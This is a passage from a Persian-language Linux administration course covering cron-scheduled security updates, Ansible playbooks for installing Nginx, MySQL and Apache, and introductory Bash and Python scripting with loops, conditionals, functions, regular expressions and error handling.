3.2 برنامه‌ریزی اجرای اسکریپت به‌روزرسانی امنیتی در سیستم‌های ردهت

برای سیستم‌های ردهت نیز می‌توان همین کار را با استفاده از cron انجام داد.

برای ویرایش فایل cron:

crontab -e

سپس، دستور زیر را برای اجرای اسکریپت به‌روزرسانی هر روز در ساعت 3 صبح اضافه کنید:

0 3 * * * /path/to/security_update_rhel.sh

جمع بندی

در این بخش، روش‌های مختلف اتوماسیون برای انجام به‌روزرسانی‌های امنیتی خودکار بررسی شد. با استفاده از Ansible و اسکریپت‌های شل می‌توان به‌راحتی بسته‌های امنیتی را به‌طور خودکار به‌روزرسانی کرد. همچنین، با استفاده از ابزار cron می‌توان این فرایندها را زمان‌بندی کرد تا به‌طور منظم انجام شوند. این روش‌ها به مدیران سیستم کمک می‌کنند تا امنیت سرورها را به‌طور مستمر حفظ کنند و از حملات و آسیب‌پذیری‌های امنیتی جلوگیری کنند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استقرار و پیکربندی سرویس‌ها به صورت خودکار (مثلاً وب‌سرورها، پایگاه‌داده‌ها)” subtitle=”توضیحات کامل”]در محیط‌های عملیاتی، استقرار و پیکربندی سرویس‌ها به‌صورت خودکار به‌ویژه برای وب‌سرورها و پایگاه‌داده‌ها از اهمیت ویژه‌ای برخوردار است. اتوماسیون این فرایندها نه تنها سرعت استقرار را افزایش می‌دهد، بلکه از خطاهای انسانی جلوگیری کرده و امنیت را نیز ارتقا می‌دهد. در این بخش، به روش‌های مختلف اتوماسیون برای استقرار و پیکربندی سرویس‌ها مانند وب‌سرورها (Nginx/Apache) و پایگاه‌داده‌ها (MySQL/PostgreSQL) خواهیم پرداخت.


1. استقرار خودکار وب‌سرور Nginx با استفاده از Ansible

Nginx یکی از محبوب‌ترین وب‌سرورها برای استقرار برنامه‌های وب است. می‌توان به‌راحتی با استفاده از Ansible، Nginx را نصب و پیکربندی کرد.

1.1 نصب و پیکربندی Nginx با Ansible

در ابتدا باید Nginx را روی سرور نصب کنیم و سپس پیکربندی‌های اولیه را برای آن انجام دهیم.

فایل Playbook: install_nginx.yml

---
- name: Install and configure Nginx
  hosts: all
  become: yes
  tasks:
    - name: Install Nginx
      apt:
        name: nginx
        state: present
        update_cache: yes
      when: ansible_os_family == "Debian"

    - name: Install Nginx (RedHat)
      yum:
        name: nginx
        state: present
      when: ansible_os_family == "RedHat"

    - name: Start and enable Nginx
      service:
        name: nginx
        state: started
        enabled: yes

    - name: Copy custom Nginx configuration file
      template:
        src: /path/to/nginx.conf.j2
        dest: /etc/nginx/nginx.conf
        mode: '0644'
      notify:
        - Restart nginx

  handlers:
    - name: Restart nginx
      service:
        name: nginx
        state: restarted

در این Playbook:

  • ابتدا Nginx بر روی سیستم‌های Debian یا RedHat نصب می‌شود.
  • سرویس Nginx پس از نصب شروع شده و به‌صورت خودکار در هنگام بوت سیستم فعال می‌شود.
  • یک فایل پیکربندی سفارشی (به‌نام nginx.conf.j2) از الگوی Jinja2 به مسیر /etc/nginx/nginx.conf کپی می‌شود.
  • پس از تغییرات در پیکربندی، Nginx مجدداً راه‌اندازی می‌شود.

برای اجرای این Playbook، دستور زیر را وارد کنید:

ansible-playbook install_nginx.yml

2. استقرار خودکار پایگاه‌داده MySQL با استفاده از Ansible

MySQL یک پایگاه‌داده رایج است که در بسیاری از برنامه‌ها و سیستم‌ها استفاده می‌شود. در این قسمت، نحوه نصب و پیکربندی MySQL به‌صورت خودکار را با استفاده از Ansible بررسی می‌کنیم.

2.1 نصب و پیکربندی MySQL با Ansible

برای نصب و پیکربندی MySQL، از ماژول mysql_db و mysql_user در Ansible استفاده خواهیم کرد.

فایل Playbook: install_mysql.yml

---
- name: Install and configure MySQL
  hosts: all
  become: yes
  tasks:
    - name: Install MySQL
      apt:
        name: mysql-server
        state: present
        update_cache: yes
      when: ansible_os_family == "Debian"

    - name: Install MySQL (RedHat)
      yum:
        name: mysql-server
        state: present
      when: ansible_os_family == "RedHat"

    - name: Start and enable MySQL
      service:
        name: mysql
        state: started
        enabled: yes

    - name: Set MySQL root password
      mysql_user:
        name: root
        password: "{{ mysql_root_password }}"
        state: present
        login_user: root
        login_password: "{{ mysql_root_password }}"
    
    - name: Create database
      mysql_db:
        name: my_database
        state: present

    - name: Create MySQL user
      mysql_user:
        name: my_user
        password: "{{ mysql_user_password }}"
        priv: "my_database.*:ALL"
        state: present

در این Playbook:

  • ابتدا MySQL را روی سرور نصب می‌کنیم.
  • سرویس MySQL پس از نصب شروع شده و به‌صورت خودکار در هنگام بوت سیستم فعال می‌شود.
  • رمز عبور برای کاربر root در MySQL تنظیم می‌شود.
  • یک پایگاه‌داده جدید (my_database) ایجاد می‌شود.
  • کاربر جدید (my_user) برای دسترسی به پایگاه‌داده به‌طور خودکار ایجاد می‌شود.

برای اجرای این Playbook، دستور زیر را وارد کنید:

ansible-playbook install_mysql.yml

3. استقرار و پیکربندی Apache Web Server با استفاده از Ansible

Apache HTTP Server یکی دیگر از وب‌سرورهای پرکاربرد است. در اینجا، نحوه استقرار و پیکربندی Apache با استفاده از Ansible را توضیح می‌دهیم.

3.1 نصب و پیکربندی Apache

برای نصب و پیکربندی Apache، از ماژول apt و yum برای سیستم‌های مختلف استفاده خواهیم کرد.

فایل Playbook: install_apache.yml

---
- name: Install and configure Apache Web Server
  hosts: all
  become: yes
  tasks:
    - name: Install Apache
      apt:
        name: apache2
        state: present
        update_cache: yes
      when: ansible_os_family == "Debian"

    - name: Install Apache (RedHat)
      yum:
        name: httpd
        state: present
      when: ansible_os_family == "RedHat"

    - name: Start and enable Apache
      service:
        name: apache2
        state: started
        enabled: yes
      when: ansible_os_family == "Debian"

    - name: Start and enable Apache (RedHat)
      service:
        name: httpd
        state: started
        enabled: yes
      when: ansible_os_family == "RedHat"

    - name: Copy custom Apache configuration file
      template:
        src: /path/to/apache2.conf.j2
        dest: /etc/apache2/apache2.conf
        mode: '0644'
      notify:
        - Restart apache

  handlers:
    - name: Restart apache
      service:
        name: apache2
        state: restarted
      when: ansible_os_family == "Debian"

    - name: Restart apache (RedHat)
      service:
        name: httpd
        state: restarted
      when: ansible_os_family == "RedHat"

در اینجا:

  • Apache بر روی سیستم‌های Debian و RedHat نصب می‌شود.
  • سرویس Apache پس از نصب شروع شده و به‌صورت خودکار در هنگام بوت سیستم فعال می‌شود.
  • یک فایل پیکربندی سفارشی (به‌نام apache2.conf.j2) از الگوی Jinja2 به مسیر /etc/apache2/apache2.conf یا /etc/httpd/httpd.conf کپی می‌شود.
  • پس از تغییرات در پیکربندی، Apache مجدداً راه‌اندازی می‌شود.

برای اجرای این Playbook، دستور زیر را وارد کنید:

ansible-playbook install_apache.yml

جمع بندی

در این بخش، روش‌های مختلف برای استقرار و پیکربندی خودکار وب‌سرورها (Nginx، Apache) و پایگاه‌داده‌ها (MySQL) با استفاده از Ansible بررسی شد. با استفاده از Playbook‌های Ansible می‌توان به‌راحتی این سرویس‌ها را نصب و پیکربندی کرد و همچنین سرویس‌ها را پس از نصب به‌طور خودکار راه‌اندازی و تنظیم نمود. این روش‌ها باعث افزایش سرعت استقرار، کاهش خطاهای انسانی و اطمینان از پیکربندی صحیح سرویس‌ها می‌شود.[/cdb_course_lesson][cdb_course_lesson title=”فصل 4. اسکریپت‌نویسی پیشرفته”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”آشنایی با مبانی اسکریپت‌نویسی در Bash و Python” subtitle=”توضیحات کامل”]اسکریپت‌نویسی در محیط‌های لینوکسی و ویندوزی یکی از مهارت‌های اساسی برای مدیریت سرورها و خودکارسازی فرآیندهای مختلف سیستم است. در این بخش، به مبانی اسکریپت‌نویسی در دو زبان Bash و Python خواهیم پرداخت و تفاوت‌ها، مزایا و نحوه استفاده از این دو زبان در مدیریت سیستم‌ها را بررسی خواهیم کرد.

1. اسکریپت‌نویسی در Bash

Bash یک زبان اسکریپت‌نویسی است که در بیشتر سیستم‌های مبتنی بر یونیکس (از جمله لینوکس و macOS) به‌طور پیش‌فرض نصب است. از آنجا که بیشتر مدیران سیستم با Bash در ارتباط هستند، این زبان ابزاری بسیار قوی و کارآمد برای خودکارسازی کارها است.

ویژگی‌های Bash:

  • ساده و مختصر است.
  • قابلیت فراخوانی دستورات سیستم عامل را دارد.
  • به‌طور پیش‌فرض در اکثر سیستم‌های لینوکسی و یونیکسی موجود است.
  • مناسب برای کارهای روزمره مانند مدیریت فایل‌ها، پردازش داده‌ها و خودکارسازی عملیات مختلف است.

نوشتن یک اسکریپت ساده Bash: برای شروع، ابتدا باید فایل اسکریپت Bash خود را بسازید. در اینجا، یک اسکریپت ساده برای نمایش تاریخ سیستم را خواهیم نوشت.

گام 1: ایجاد فایل اسکریپت Bash

nano show_date.sh

گام 2: نوشتن اسکریپت

#!/bin/bash
# نمایش تاریخ سیستم
echo "تاریخ سیستم به‌روز: $(date)"

گام 3: دادن مجوز اجرایی به اسکریپت

chmod +x show_date.sh

گام 4: اجرای اسکریپت

./show_date.sh

در این اسکریپت، #!/bin/bash به سیستم می‌گوید که از Bash برای اجرای این اسکریپت استفاده کند. سپس دستور date برای دریافت تاریخ و زمان فعلی سیستم به‌کار می‌رود.

2. اسکریپت‌نویسی در Python

Python یکی از زبان‌های برنامه‌نویسی بسیار محبوب است که در توسعه نرم‌افزارهای پیچیده و همچنین اسکریپت‌نویسی برای خودکارسازی سیستم‌ها کاربرد دارد. برخلاف Bash که بیشتر برای عملیات سطح سیستم است، Python برای نوشتن اسکریپت‌های پیچیده‌تر و توسعه نرم‌افزارها مناسب‌تر است.

ویژگی‌های Python:

  • بسیار قابل خواندن و ساختارمند است.
  • کتابخانه‌های غنی برای پردازش داده‌ها، ارتباط با شبکه و حتی مدیریت سیستم دارد.
  • مناسب برای نوشتن برنامه‌های پیچیده‌تر و اسکریپت‌های بزرگ‌تر است.

نوشتن یک اسکریپت ساده Python: یک اسکریپت ساده برای نمایش تاریخ و زمان فعلی سیستم در Python به‌صورت زیر خواهد بود:

گام 1: ایجاد فایل اسکریپت Python

nano show_date.py

گام 2: نوشتن اسکریپت

#!/usr/bin/env python3
# نمایش تاریخ سیستم
import datetime
print("تاریخ سیستم به‌روز:", datetime.datetime.now())

گام 3: دادن مجوز اجرایی به اسکریپت

chmod +x show_date.py

گام 4: اجرای اسکریپت

./show_date.py

در این اسکریپت، از ماژول datetime برای دریافت تاریخ و زمان استفاده شده است که قابلیت‌های بیشتری نسبت به دستور date در Bash دارد.

تفاوت‌های اصلی Bash و Python در اسکریپت‌نویسی

  • سادگی در استفاده: Bash برای اسکریپت‌نویسی ساده و انجام کارهای روزمره سریع است، در حالی که Python برای اسکریپت‌های پیچیده‌تر و نرم‌افزارهای بزرگ‌تر مناسب است.
  • خوانایی و قابلیت توسعه: کدهای Python به دلیل ساختار خوانا و پشتیبانی از شی‌گرایی، برای پروژه‌های بزرگ‌تر مناسب‌تر هستند. از سوی دیگر، Bash کدهای کوتاه‌تری دارد که معمولاً برای خودکارسازی سریع کارها مناسب است.
  • کتابخانه‌ها و ماژول‌ها: Python دارای مجموعه‌های گسترده‌ای از کتابخانه‌ها برای پردازش داده‌ها، کار با شبکه، پایگاه‌های داده و… است، در حالی که Bash بیشتر برای تعامل با سیستم فایل و اجرای دستورات سیستم عامل کاربرد دارد.

3. استفاده از Bash و Python در مدیریت سیستم

در مدیریت سرور، Bash بیشتر برای کارهای روزمره و مدیریت سیستم استفاده می‌شود، اما برای اسکریپت‌های پیچیده‌تر که نیاز به پردازش داده‌های زیاد یا کار با وب‌سرویس‌ها دارند، Python گزینه مناسب‌تری است. به‌عنوان مثال:

  • Bash: مناسب برای اتوماسیون پیکربندی سیستم، مدیریت فایل‌ها، نصب بسته‌ها و اجرای دستورات سیستم.
  • Python: مناسب برای کار با پایگاه‌های داده، پردازش فایل‌های متنی پیچیده، ایجاد وب‌سرویس‌ها و تعامل با APIهای مختلف.

جمع‌بندی

در این بخش، با مبانی اسکریپت‌نویسی در Bash و Python آشنا شدیم. هرکدام از این زبان‌ها ویژگی‌ها و کاربردهای خاص خود را دارند. Bash برای کارهای سریع و خودکارسازی‌های سطح سیستم بسیار مناسب است، در حالی که Python برای پروژه‌های بزرگ‌تر و پیچیده‌تر کاربرد دارد. با توجه به نیاز خود، می‌توانید از هرکدام از این زبان‌ها در موقعیت‌های مختلف استفاده کنید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”نوشتن اسکریپت‌های پیچیده با استفاده از حلقه‌ها، شرط‌ها و توابع” subtitle=”توضیحات کامل”]در این بخش، نحوه استفاده از حلقه‌ها، شرط‌ها و توابع در زبان‌های Bash و Python برای نوشتن اسکریپت‌های پیچیده‌تر را بررسی خواهیم کرد. این مفاهیم به شما امکان می‌دهند تا اسکریپت‌های انعطاف‌پذیرتر و کارآمدتری بنویسید که قادر به انجام عملیات‌های پیچیده‌تری باشند.

1. اسکریپت‌نویسی با استفاده از حلقه‌ها

حلقه‌ها یکی از ابزارهای اساسی در هر زبان برنامه‌نویسی هستند که به شما اجازه می‌دهند تا یک دستور را چندین بار تکرار کنید. در هر دو زبان Bash و Python می‌توان از حلقه‌ها برای انجام کارهایی مانند پردازش لیست‌ها یا تکرار عملیات استفاده کرد.

الف) حلقه در Bash:

در Bash، دو نوع حلقه عمده وجود دارد: for و while.

حلقه for در Bash:

این حلقه برای تکرار یک دستور به تعداد مشخصی استفاده می‌شود.

گام 1: ایجاد فایل اسکریپت

nano loop_example.sh

گام 2: نوشتن اسکریپت با حلقه for

#!/bin/bash
# حلقه for در Bash
for i in {1..5}
do
  echo "عدد $i"
done

گام 3: دادن مجوز اجرایی به اسکریپت

chmod +x loop_example.sh

گام 4: اجرای اسکریپت

./loop_example.sh

در این اسکریپت، یک حلقه for تعریف شده است که از عدد 1 تا 5 شمارش کرده و هر عدد را چاپ می‌کند.

حلقه while در Bash:

حلقه while تا زمانی که شرطی برقرار باشد، دستورهای داخل خود را تکرار می‌کند.

گام 1: ایجاد فایل اسکریپت

nano while_example.sh

گام 2: نوشتن اسکریپت با حلقه while

#!/bin/bash
# حلقه while در Bash
count=1
while [ $count -le 5 ]
do
  echo "عدد $count"
  ((count++))
done

گام 3: دادن مجوز اجرایی به اسکریپت

chmod +x while_example.sh

گام 4: اجرای اسکریپت

./while_example.sh

در این اسکریپت، از حلقه while استفاده شده است که شمارش را تا عدد 5 انجام می‌دهد.

ب) حلقه در Python:

در Python نیز دو نوع حلقه عمده وجود دارد: for و while.

حلقه for در Python:

این حلقه برای تکرار یک دستور برای هر آیتم در یک مجموعه (مثل لیست یا رشته) استفاده می‌شود.

گام 1: ایجاد فایل اسکریپت

nano loop_example.py

گام 2: نوشتن اسکریپت با حلقه for

#!/usr/bin/env python3
# حلقه for در Python
for i in range(1, 6):
    print(f"عدد {i}")

گام 3: دادن مجوز اجرایی به اسکریپت

chmod +x loop_example.py

گام 4: اجرای اسکریپت

./loop_example.py

در این اسکریپت، از تابع range برای ایجاد یک بازه از 1 تا 5 استفاده شده و سپس از حلقه for برای چاپ اعداد استفاده می‌شود.

حلقه while در Python:

حلقه while در Python مشابه Bash عمل می‌کند و تا زمانی که شرطی برقرار باشد، دستورهای داخل خود را اجرا می‌کند.

گام 1: ایجاد فایل اسکریپت

nano while_example.py

گام 2: نوشتن اسکریپت با حلقه while

#!/usr/bin/env python3
# حلقه while در Python
count = 1
while count <= 5:
    print(f"عدد {count}")
    count += 1

گام 3: دادن مجوز اجرایی به اسکریپت

chmod +x while_example.py

گام 4: اجرای اسکریپت

./while_example.py

در این اسکریپت، از حلقه while برای شمارش از 1 تا 5 استفاده شده است.

2. اسکریپت‌نویسی با استفاده از شرط‌ها

شرط‌ها به شما امکان می‌دهند که تصمیمات مختلفی را بر اساس شرایط مختلف اتخاذ کنید. در هر دو زبان Bash و Python از دستور if برای شرط‌گذاری استفاده می‌شود.

الف) شرط‌ها در Bash:

در Bash، از دستور if برای شرط‌گذاری استفاده می‌شود. در اینجا، یک مثال از شرط ساده آورده شده است.

گام 1: ایجاد فایل اسکریپت

nano condition_example.sh

گام 2: نوشتن اسکریپت با شرط if

#!/bin/bash
# بررسی عدد زوج یا فرد
read -p "یک عدد وارد کنید: " num
if [ $((num % 2)) -eq 0 ]
then
  echo "عدد وارد شده زوج است."
else
  echo "عدد وارد شده فرد است."
fi

گام 3: دادن مجوز اجرایی به اسکریپت

chmod +x condition_example.sh

گام 4: اجرای اسکریپت

./condition_example.sh

در این اسکریپت، یک عدد از کاربر دریافت شده و بررسی می‌شود که آیا عدد وارد شده زوج است یا فرد.

ب) شرط‌ها در Python:

در Python نیز می‌توان از دستور if برای شرط‌گذاری استفاده کرد.

گام 1: ایجاد فایل اسکریپت

nano condition_example.py

گام 2: نوشتن اسکریپت با شرط if

#!/usr/bin/env python3
# بررسی عدد زوج یا فرد
num = int(input("یک عدد وارد کنید: "))
if num % 2 == 0:
    print("عدد وارد شده زوج است.")
else:
    print("عدد وارد شده فرد است.")

گام 3: دادن مجوز اجرایی به اسکریپت

chmod +x condition_example.py

گام 4: اجرای اسکریپت

./condition_example.py

در این اسکریپت، از دستور if برای بررسی زوج یا فرد بودن عدد وارد شده استفاده شده است.

3. اسکریپت‌نویسی با استفاده از توابع

توابع به شما این امکان را می‌دهند که کدهای تکراری را یک‌جا بنویسید و در مکان‌های مختلف فراخوانی کنید. در اینجا، نحوه نوشتن توابع در Bash و Python را بررسی می‌کنیم.

الف) توابع در Bash:

در Bash، توابع به‌سادگی با استفاده از دستور function تعریف می‌شوند.

گام 1: ایجاد فایل اسکریپت

nano function_example.sh

گام 2: نوشتن اسکریپت با تابع

#!/bin/bash
# تابع برای چاپ پیام خوشامدگویی
welcome_message() {
  echo "به اسکریپت خوش آمدید!"
}

# فراخوانی تابع
welcome_message

گام 3: دادن مجوز اجرایی به اسکریپت

chmod +x function_example.sh

گام 4: اجرای اسکریپت

./function_example.sh

در این اسکریپت، یک تابع به نام welcome_message تعریف شده است که پیامی را چاپ می‌کند.

ب) توابع در Python:

در Python، توابع با استفاده از دستور def تعریف می‌شوند.

گام 1: ایجاد فایل اسکریپت

nano function_example.py

گام 2: نوشتن اسکریپت با تابع

#!/usr/bin/env python3
# تابع برای چاپ پیام خوشامدگویی
def welcome_message():
    print("به اسکریپت خوش آمدید!")

# فراخوانی تابع
welcome_message()

گام 3: دادن مجوز اجرایی به اسکریپت

chmod +x function_example.py

گام 4: اجرای اسکریپت

./function_example.py

در این اسکریپت، یک تابع به نام welcome_message تعریف شده است که پیامی را چاپ می‌کند.

جمع‌بندی

در این بخش، به مبانی استفاده از حلقه‌ها، شرط‌ها و توابع در زبان‌های Bash و Python پرداخته شد. با استفاده از این مفاهیم می‌توانید اسکریپت‌های پیچیده‌تری بنویسید که قادر به انجام وظایف مختلف باشند. هرکدام از این ابزارها در اسکریپت‌نویسی برای خودکارسازی وظایف و مدیریت سیستم بسیار مفید هستند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از Regular Expressions در اسکریپت‌ها” subtitle=”توضیحات کامل”]در این بخش، به نحوه استفاده از Regular Expressions (Regex) در اسکریپت‌ها خواهیم پرداخت. Regular Expressions ابزاری قدرتمند برای جستجو و پردازش رشته‌ها (Strings) در اسکریپت‌ها هستند. این ابزار به شما کمک می‌کند تا الگوهای خاصی را در داده‌ها شناسایی کرده و عملیات مختلفی مانند جستجو، تطبیق، جایگزینی و استخراج انجام دهید.

هر دو زبان Bash و Python از Regular Expressions پشتیبانی می‌کنند، اما روش‌ها و ابزارهای متفاوتی برای کار با آن‌ها دارند.

1. استفاده از Regular Expressions در Bash

در Bash، ابزار grep, sed و awk معمولاً برای کار با Regular Expressions استفاده می‌شوند. در اینجا، نحوه استفاده از Regular Expressions را در هرکدام از این ابزارها بررسی خواهیم کرد.

الف) استفاده از grep برای جستجوی الگو در Bash

grep ابزاری برای جستجوی الگوهای مشخص در فایل‌ها یا ورودی‌ها است که از Regular Expressions برای انجام این جستجوها استفاده می‌کند.

گام 1: ایجاد فایل اسکریپت

nano regex_example.sh

گام 2: نوشتن اسکریپت با استفاده از grep

#!/bin/bash
# جستجو برای وجود یک الگو در فایل

# جستجو برای کلمه "error" در فایل log.txt
grep "error" log.txt

گام 3: دادن مجوز اجرایی به اسکریپت

chmod +x regex_example.sh

گام 4: اجرای اسکریپت

./regex_example.sh

در این اسکریپت، grep برای جستجوی الگوی “error” در فایل log.txt استفاده شده است.

ب) استفاده از sed برای جایگزینی الگو در Bash

sed ابزاری برای انجام تغییرات در متن است که می‌توان از آن برای جایگزینی الگوهای خاص در متن با استفاده از Regular Expressions استفاده کرد.

گام 1: ایجاد فایل اسکریپت

nano sed_example.sh

گام 2: نوشتن اسکریپت با استفاده از sed

#!/bin/bash
# جایگزینی الگوی خاص با متن جدید در فایل

# جایگزینی کلمه "apple" با "orange" در فایل text.txt
sed -i 's/apple/orange/g' text.txt

گام 3: دادن مجوز اجرایی به اسکریپت

chmod +x sed_example.sh

گام 4: اجرای اسکریپت

./sed_example.sh

در این اسکریپت، از sed برای جایگزینی تمام موارد کلمه “apple” با “orange” در فایل text.txt استفاده شده است.

ج) استفاده از awk برای پردازش متن در Bash

awk یکی از قدرتمندترین ابزارها برای پردازش متنی است که قابلیت استفاده از Regular Expressions برای جستجو و استخراج داده‌ها را دارد.

گام 1: ایجاد فایل اسکریپت

nano awk_example.sh

گام 2: نوشتن اسکریپت با استفاده از awk

#!/bin/bash
# استخراج خطوطی که شامل الگوی خاص هستند از فایل

# استخراج خطوطی که شامل کلمه "error" هستند از فایل log.txt
awk '/error/ { print $0 }' log.txt

گام 3: دادن مجوز اجرایی به اسکریپت

chmod +x awk_example.sh

گام 4: اجرای اسکریپت

./awk_example.sh

در این اسکریپت، awk از یک Regular Expression برای استخراج خطوطی که شامل کلمه “error” هستند، استفاده می‌کند.

2. استفاده از Regular Expressions در Python

در Python، ما از ماژول re برای کار با Regular Expressions استفاده می‌کنیم. این ماژول امکانات مختلفی مانند جستجو، تطبیق و جایگزینی الگوها در رشته‌ها را فراهم می‌کند.

الف) جستجوی الگو با استفاده از re.search در Python

گام 1: ایجاد فایل اسکریپت

nano python_regex_example.py

گام 2: نوشتن اسکریپت برای جستجوی الگو در Python

#!/usr/bin/env python3
import re

# جستجو برای الگوی "error" در رشته
text = "This is an error message."
pattern = r"error"

match = re.search(pattern, text)
if match:
    print("الگو یافت شد")
else:
    print("الگو یافت نشد")

گام 3: دادن مجوز اجرایی به اسکریپت

chmod +x python_regex_example.py

گام 4: اجرای اسکریپت

./python_regex_example.py

در این اسکریپت، از تابع re.search برای جستجو و تطبیق الگوی “error” در متن استفاده شده است.

ب) جایگزینی الگو با استفاده از re.sub در Python

گام 1: ایجاد فایل اسکریپت

nano python_sub_example.py

گام 2: نوشتن اسکریپت برای جایگزینی الگو در Python

#!/usr/bin/env python3
import re

# جایگزینی الگوی "apple" با "orange" در رشته
text = "I have an apple."
pattern = r"apple"
replacement = "orange"

new_text = re.sub(pattern, replacement, text)
print(new_text)

گام 3: دادن مجوز اجرایی به اسکریپت

chmod +x python_sub_example.py

گام 4: اجرای اسکریپت

./python_sub_example.py

در این اسکریپت، از تابع re.sub برای جایگزینی کلمه “apple” با “orange” در متن استفاده شده است.

ج) استخراج الگو با استفاده از re.findall در Python

گام 1: ایجاد فایل اسکریپت

nano python_findall_example.py

گام 2: نوشتن اسکریپت برای استخراج الگوها در Python

#!/usr/bin/env python3
import re

# استخراج تمام اعداد از رشته
text = "I have 2 apples and 3 oranges."
pattern = r"\d+"

numbers = re.findall(pattern, text)
print(numbers)

گام 3: دادن مجوز اجرایی به اسکریپت

chmod +x python_findall_example.py

گام 4: اجرای اسکریپت

./python_findall_example.py

در این اسکریپت، از re.findall برای استخراج تمام اعداد از متن استفاده شده است.

جمع‌بندی

در این بخش، نحوه استفاده از Regular Expressions را در زبان‌های Bash و Python بررسی کردیم. این ابزارها به شما امکان می‌دهند تا عملیات‌های پیچیده‌تری مانند جستجو، جایگزینی و استخراج داده‌ها را با استفاده از الگوهای خاص انجام دهید. در Bash، ابزارهایی مانند grep, sed و awk برای این کار مناسب هستند، در حالی که در Python، ماژول re تمامی امکانات لازم برای کار با Regular Expressions را فراهم می‌کند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”مدیریت خطاها و گزارش‌دهی در اسکریپت‌ها” subtitle=”توضیحات کامل”]مدیریت خطاها و گزارش‌دهی مناسب، یکی از مهم‌ترین بخش‌های هر اسکریپت است. این امر به خصوص در اسکریپت‌های پیچیده و مقیاس بزرگ بسیار ضروری است. هنگامی که اسکریپت‌ها برای انجام وظایف مختلف طراحی می‌شوند، به دلیل عواملی مانند ورودی‌های نادرست، مشکلات سیستم یا خطاهای انسانی، ممکن است خطاهایی رخ دهند. مدیریت صحیح خطاها کمک می‌کند تا اسکریپت به درستی اجرا شده و مشکلات به سرعت شناسایی و رفع شوند.

در این بخش، به نحوه مدیریت خطاها و گزارش‌دهی در اسکریپت‌های Bash و Python خواهیم پرداخت.

1. مدیریت خطاها در Bash

در Bash، ما ابزارهایی مانند متغیر $? برای بررسی وضعیت آخرین دستور و دستور trap برای شناسایی سیگنال‌ها و خطاها استفاده می‌کنیم. همچنین با استفاده از دستورات خاص می‌توانیم خطاها را گزارش‌دهی کنیم.

الف) بررسی وضعیت آخرین دستور با $?

در Bash، متغیر خاص $? آخرین وضعیت اجرای دستور را برمی‌گرداند. اگر دستور با موفقیت اجرا شده باشد، مقدار آن 0 خواهد بود و اگر خطایی رخ دهد، عدد غیر صفر را برمی‌گرداند.

گام 1: ایجاد فایل اسکریپت

nano error_handling_example.sh

گام 2: نوشتن اسکریپت برای مدیریت خطا

#!/bin/bash

# اجرای دستور
cp /path/to/source /path/to/destination

# بررسی وضعیت دستور آخر
if [ $? -ne 0 ]; then
    echo "خطا در کپی فایل‌ها!"
    exit 1
else
    echo "عملیات با موفقیت انجام شد."
fi

گام 3: دادن مجوز اجرایی به اسکریپت

chmod +x error_handling_example.sh

گام 4: اجرای اسکریپت

./error_handling_example.sh

در این اسکریپت، پس از اجرای دستور کپی، با استفاده از $? وضعیت دستور بررسی می‌شود. اگر دستور با موفقیت اجرا نشود، پیامی برای خطا چاپ شده و اسکریپت با کد 1 خاتمه می‌یابد.

ب) استفاده از trap برای شناسایی سیگنال‌ها

دستور trap در Bash برای دستورات خاصی که باید هنگام دریافت سیگنال‌های خاص اجرا شوند، مفید است. این روش می‌تواند برای شناسایی سیگنال‌ها و خطاهای ناشی از آن‌ها استفاده شود.

گام 1: ایجاد فایل اسکریپت

nano trap_example.sh

گام 2: نوشتن اسکریپت با استفاده از trap

#!/bin/bash

# تعریف عملکرد برای سیگنال SIGINT (Ctrl+C)
trap 'echo "عملیات لغو شد توسط کاربر!"' SIGINT

# شبیه‌سازی یک کار طولانی
echo "در حال انجام عملیات طولانی..."
sleep 30

گام 3: دادن مجوز اجرایی به اسکریپت

chmod +x trap_example.sh

گام 4: اجرای اسکریپت

./trap_example.sh

در این اسکریپت، از دستور trap برای شناسایی سیگنال SIGINT (که معمولاً به دلیل فشردن Ctrl+C ایجاد می‌شود) استفاده کرده‌ایم و پیامی به کاربر چاپ می‌شود.

2. مدیریت خطاها در Python

در Python، از دستورات try, except, finally برای مدیریت خطاها استفاده می‌شود. این دستورات به شما این امکان را می‌دهند که خطاها را شناسایی و مدیریت کرده و عملیات‌های تمیزکاری را پس از بروز خطا انجام دهید.

الف) استفاده از try, except برای مدیریت خطا در Python

گام 1: ایجاد فایل اسکریپت

nano python_error_handling.py

گام 2: نوشتن اسکریپت برای مدیریت خطا در Python

#!/usr/bin/env python3

try:
    # شبیه‌سازی یک عملیات که ممکن است خطا ایجاد کند
    x = 1 / 0
except ZeroDivisionError:
    print("خطا: تقسیم بر صفر!")
except Exception as e:
    print(f"خطای غیرمنتظره: {e}")
else:
    print("عملیات با موفقیت انجام شد.")
finally:
    print("این بخش همیشه اجرا می‌شود.")

گام 3: دادن مجوز اجرایی به اسکریپت

chmod +x python_error_handling.py

گام 4: اجرای اسکریپت

./python_error_handling.py

در این اسکریپت، از try برای شبیه‌سازی یک خطا (تقسیم بر صفر) استفاده کرده‌ایم. در بخش except, خطای خاص ZeroDivisionError را شناسایی کرده‌ایم و پیامی چاپ می‌شود. اگر خطای غیرمنتظره‌ای رخ دهد، پیامی از نوع Exception چاپ خواهد شد. بخش finally همیشه اجرا می‌شود، حتی اگر خطایی رخ دهد یا خیر.

ب) گزارش‌دهی خطا در Python

برای گزارش‌دهی خطاها، معمولاً از ماژول‌های مختلفی مانند logging در Python استفاده می‌شود. این ماژول امکاناتی برای ثبت خطاها و اطلاعات در سطوح مختلف (مثل DEBUG, INFO, WARNING, ERROR, و CRITICAL) فراهم می‌کند.

گام 1: ایجاد فایل اسکریپت

nano python_logging_example.py

گام 2: نوشتن اسکریپت برای گزارش‌دهی خطا در Python

#!/usr/bin/env python3
import logging

# تنظیمات اولیه گزارش‌دهی
logging.basicConfig(filename='app.log', level=logging.ERROR,
                    format='%(asctime)s - %(levelname)s - %(message)s')

try:
    # شبیه‌سازی یک خطا
    result = 10 / 0
except ZeroDivisionError:
    logging.error("خطا: تقسیم بر صفر!")
except Exception as e:
    logging.error(f"خطای غیرمنتظره: {e}")

گام 3: دادن مجوز اجرایی به اسکریپت

chmod +x python_logging_example.py

گام 4: اجرای اسکریپت

./python_logging_example.py

